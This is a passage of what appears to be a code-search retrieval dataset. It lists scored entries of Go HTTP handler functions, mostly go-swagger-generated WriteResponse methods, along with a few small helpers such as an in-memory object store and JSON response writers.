"func (o *GetMeetupsDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(o._statusCode)\n}", "title": "" }, { "docid": "836aa906d5dbc87f447b3d50a10ccb8b", "score": "0.6315647", "text": "func (o *PutSlideLikeDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "46ea3dfbbb73398cb567dc0f0f73493b", "score": "0.63155496", "text": "func (o *GetTradesByAccountOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.GetTradesByAccountOKBody, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "7e84621ffa93d964db4c41327771ad91", "score": "0.6315456", "text": "func (o *PutSlideSuperlikeCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(201)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "66a953c73d9ddfedd85a789ee810902e", "score": "0.63144493", "text": "func (o *CreateMovingExpenseDocumentInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(500)\n}", "title": "" }, { "docid": "f3d824112667f190c3c695f6f14414a1", "score": "0.6313838", "text": "func (o *UpdateCatalogOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "b3763aa26092ea54d41ff47654e8e513", "score": "0.6313086", "text": "func (o *TransferOK) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(200)\n\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "9625fd6d1591c0165a9302cacb6dda51", "score": "0.631272", "text": "func (o *ReplaceStorageV1CSINodeCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(201)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "961f3fefa4f7dd02ce7006345a9e93d1", "score": "0.6306333", "text": "func (o *Operation) writeResponse(rw io.Writer, v interface{}) {\n\terr := json.NewEncoder(rw).Encode(v)\n\t// as of now, just log errors for writing response\n\tif err != nil {\n\t\tlogger.Errorf(\"Unable to send error response, %s\", err)\n\t}\n}", "title": "" }, { "docid": "c44570be473a7f840cfca06388811358", "score": "0.6301442", "text": "func (o *AddNewMaterialsForPostOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3c3735e19900baf98c225dce89062740", "score": "0.6301383", "text": "func (o *UpdateMoveTaskOrderPostCounselingInformationOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a924fb60455aa59c8271fe290323fb57", "score": "0.62980926", "text": "func (o *Operation) writeResponse(rw io.Writer, v interface{}) {\n\terr := json.NewEncoder(rw).Encode(v)\n\tif err != nil {\n\t\tlog.Errorf(\"Unable to send error response, %s\", err)\n\t}\n}", "title": "" }, { "docid": "7efa7ecc9880986a58f251cbba35fb0e", "score": "0.6297981", "text": "func (o *CreateUploadSessionDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "35252705f9e719ba06550e837709c553", "score": "0.62915474", "text": "func (o *CreateSpoeDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Configuration-Version\n\n\tconfigurationVersion := o.ConfigurationVersion\n\tif configurationVersion != \"\" {\n\t\trw.Header().Set(\"Configuration-Version\", configurationVersion)\n\t}\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "bd65ee49fdfccf7834a8007855f60475", "score": "0.62859976", "text": "func (o *CertifyOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "a97082c80f477fa9536282e2bad01e50", "score": "0.62844443", "text": "func (o *PostPlaybookOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "209f0ac9a7893550cdf7e0ec50c0d030", "score": "0.6281909", "text": "func (o *ReplaceStorageV1CSINodeOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "67e8db24e06e8eb3b9c912462190f51f", "score": "0.6281482", "text": "func (o *FetchTodoItemsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\t// return empty array\n\t\tpayload = make([]*models.Item, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "99e72c31351d389e320036e58a219951", "score": "0.62801015", "text": "func (c *FakeClient) WriteObject(secretName string, secret interface{}) (map[string]interface{}, error) {\n\t// TODO\n\treturn c.Read(secretName)\n}", "title": "" }, { "docid": "e63a2c38d51b842c71cea85fb3c2a73f", "score": "0.6277277", "text": "func writeResponse(body []byte, w *http.ResponseWriter) {\n\t(*w).Header().Set(\"Content-Type\", \"text/plain; charset=utf-8\")\n\t_, err := (*w).Write(body)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\t(*w).WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "d6b5cdc661fafeadfc9139c9f6b97b01", "score": "0.6277011", "text": "func (o *CreateStorageV1CSINodeCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(201)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "598689649a28ac94c9848e79ec7accb9", "score": "0.6276469", "text": "func (o *GetDetailOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\trw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "788f9c5dfcc23ec7028b354c4c915a6e", "score": "0.6273371", "text": "func (o *CreateFacilityUsersOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "575aadf97f2bbb64126839268be4f5dd", "score": "0.62710065", "text": "func (o *GetCoreAPIVersionsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "56a53cafc6e9206db85f2ed123602d43", "score": "0.6268604", "text": "func (o *RetrieveCopyOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "677e8124cd6c0b0cc22ea5c48322c0eb", "score": "0.6265313", "text": "func (o *PutPerformancesOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "b67bb08561398f1d35b79e305a2b9867", "score": "0.6265094", "text": "func (o *UploadFileOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "6fc328aa3be63762254ad64c315b594d", "score": "0.62632304", "text": "func WriteResponse(w http.ResponseWriter, code int, resp interface{}) error {\n\tj, err := json.Marshal(resp)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn err\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(code)\n\n\t_, err = w.Write(j)\n\treturn err\n}", "title": "" }, { "docid": "f50b71068f989f9879d6d5018b676fd5", "score": "0.62602973", "text": "func (o *CreateFileDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "95688e1c031e7093770d625075cad733", "score": "0.62583315", "text": "func (s *MemoryStore) WriteObject(id string, r io.Reader) error {\n\t// check the file does not already exist\n\t_, ok := s.objects.Load(id)\n\tif ok {\n\t\treturn ErrFileExists\n\t}\n\n\t// read all the bytes from the buffer\n\tdata, err := io.ReadAll(r)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to read bytes from request: %w\", err)\n\t}\n\n\t// attempt to store it, fail if another writer beats us\n\t_, loaded := s.objects.LoadOrStore(id, data)\n\tif loaded {\n\t\treturn ErrFileExists\n\t}\n\n\tlog.Debug().\n\t\tStr(\"file\", id).\n\t\tMsg(fmt.Sprintf(\"wrote %d bytes to memory\", len(data)))\n\n\treturn nil\n}", "title": "" }, { "docid": "aa93800e10751d0aaaced15143c49963", "score": "0.6256057", "text": "func (o *GetVisiblePruebasFromQuestionTestOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\t// return empty array\n\t\tpayload = make([]*models.Prueba, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "f3dfcb0c864e7d1e3967d55814b93269", "score": "0.62550026", "text": "func (o *ViewOneOrderDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f4a819ad12d73cd8589f55d4ce249a29", "score": "0.625404", "text": "func (o *GetMempoolOperationsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\t// return empty array\n\t\tpayload = make([]*models.MempoolOperation, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "05b8be815bb338b8767fef248a1e0d8e", "score": "0.62470233", "text": "func (o *CreateProgramOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "c963f6bf0b0114c9d6878127f7ac282c", "score": "0.62444466", "text": "func (o *ConnectCoreV1OptionsNodeProxyOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "3bf33421da6a36dde86e780afd9b4799", "score": "0.62413746", "text": "func (o *GetEchoNameOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "dd137266c0d7da60784574188565fb39", "score": "0.6238361", "text": "func (o *CreateTaskCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Location\n\n\tlocation := o.Location.String()\n\tif location != \"\" {\n\t\trw.Header().Set(\"Location\", location)\n\t}\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "639f994fe2907458a1b28ae915228f6c", "score": "0.62367886", "text": "func (o *PutSlideSuperlikeDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8c252f75d98e5232e0f27537fd5ea1c2", "score": "0.623659", "text": "func (o *GetCharactersCharacterIDLoyaltyPointsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.GetCharactersCharacterIDLoyaltyPointsOKBody, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "39ae90926c41cd7e968da7193a416c97", "score": "0.62359214", "text": "func (o *RemoveTeamToPublishedTestOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "6fddd4a8a344f38b1f74499ff566c627", "score": "0.62343764", "text": "func (o *ObjectsPatchInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "cb24e7d1f929bbbe3747e3ed3907f44d", "score": "0.6229031", "text": "func (o *PutQuestionOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "212be9ec79acec800635c9ae6a224051", "score": "0.62266904", "text": "func (o *GetCorrectedAnswersFromPublishedTestsInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(500)\n}", "title": "" }, { "docid": "e04d0f490068700c92b8627509a0036f", "score": "0.6224807", "text": "func (o *BofaChkUpdateOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "749b7b00006f768331a026fb23dc7239", "score": "0.6223567", "text": "func (o *VerifyAccountCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "9324298af014a6d5869035e1887f4695", "score": "0.6222194", "text": "func (o *ArtifactListerPartialContent) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Next\n\n\tnext := o.Next\n\tif next != \"\" {\n\t\trw.Header().Set(\"Next\", next)\n\t}\n\n\t// response header Previous\n\n\tprevious := o.Previous\n\tif previous != \"\" {\n\t\trw.Header().Set(\"Previous\", previous)\n\t}\n\n\t// response header RemainingRecords\n\n\tremainingRecords := swag.FormatUint64(o.RemainingRecords)\n\tif remainingRecords != \"\" {\n\t\trw.Header().Set(\"RemainingRecords\", remainingRecords)\n\t}\n\n\t// response header TotalRecords\n\n\ttotalRecords := swag.FormatUint64(o.TotalRecords)\n\tif totalRecords != \"\" {\n\t\trw.Header().Set(\"TotalRecords\", totalRecords)\n\t}\n\n\trw.WriteHeader(206)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make([]*weles.ArtifactInfo, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "06d2e383f74f8c0b7aa9dcbf505b162e", "score": "0.62192464", "text": "func (o *GetTournamentOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5d7708232d449d8d71a04f7668434746", "score": "0.6218239", "text": "func (o *UpdateMovieOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "183ef139dacd057374bc8702218d4bb3", "score": "0.62114096", "text": "func (o *GetBlockBakingRightsInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(500)\n}", "title": "" }, { "docid": "3f8c3fe2ea160329db92616ca4766bdb", "score": "0.6210066", "text": "func (o *CreateCurrentAPISessionCertificateOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0b9e13c5007c6ca4e26b5b338e04ea3b", "score": "0.6207483", "text": "func (o *CreateUploadSessionCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(201)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ede7c72c29ae5fd1bbf51d81026e1d40", "score": "0.62066823", "text": "func (o *TransferDefault) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" } ]